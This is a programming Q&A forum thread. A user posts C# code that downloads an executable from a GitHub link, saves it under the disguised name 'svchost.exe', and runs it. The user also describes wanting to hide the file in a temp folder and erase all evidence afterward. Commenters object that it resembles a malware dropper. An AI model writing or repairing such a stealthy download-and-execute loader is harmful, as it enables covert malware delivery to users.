Click here to Skip to main content
15,887,683 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
See more:
I am developing a project and I must execute these commands when I click button_1
1 * when pressing the (button_initique) the program has to check if there is any remnant of the .exe on the user's computer.

2 * download the .exe from a cloud (web link) in a hidden folder (preferably% temp).

3 * execute the downloaded file on the machine.

4 * when the file stops (finalized after the user uses it). All evidence in the file must be deleted from the computer.

5 * close the program / or return to login.

I'm using the code ....

can someone tell me what i did wrong? it's not working

What I have tried:

    Uri uri = new Uri("https://github.com/cksilva/ExternalOrange/blob/main/nvcontainer.exe?raw=true");
    string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Temp/svchost.exe");

    private void button1_Click(object sender, EventArgs e)
    {

        try
        {
            if (File.Exists(filename))
            {
                File.Delete(filename);
            }

            WebClient wc = new WebClient();
            wc.DownloadFileAsync(uri, filename);
            wc.DownloadProgressChanged += new DownloadProgressChangedEventHandler(wc_DownloadProgressChanged);
            wc.DownloadFileCompleted += new AsyncCompletedEventHandler(wc_DownloadFileCompleted);
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message.ToString());
        }
    }
    private void wc_DownloadProgressChanged(object sender, DownloadProgressChangedEventArgs e)
    {
        ProgressBar1.Value = e.ProgressPercentage;
        if (ProgressBar1.Value == ProgressBar1.Maximum)
        {
            ProgressBar1.Value = 0;
        }
    }
    private void wc_DownloadFileCompleted(object sender, AsyncCompletedEventArgs e)
    {
        if (e.Error == null)
        {
            Process.Start(filename);
            Close();
            Application.Exit();
        }
        else
        {
            MessageBox.Show("Unable to download exe, please check your connection", "Download failed!");
        }
    }

<pre>
Posted
Updated 13-Feb-21 8:09am
v2
Comments
Luc Pattyn 13-Feb-21 14:10pm    
Count me out. It sounds much like a new virus vector...
There is a reason why autorun was turned off for flash drives and the like!
[no name] 13-Feb-21 14:42pm    
The site says: "for those that code" ... it's not for dirt balls.
Patrice T 13-Feb-21 18:25pm    
What kind of malware is that program ?
Degeo Company 13-Feb-21 19:17pm    
it's not malware, it's just an .exe file that I don't have access to the source code, so you need to download it to run
Richard MacCutchan 14-Feb-21 5:47am    
What does "it's not working" mean?

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900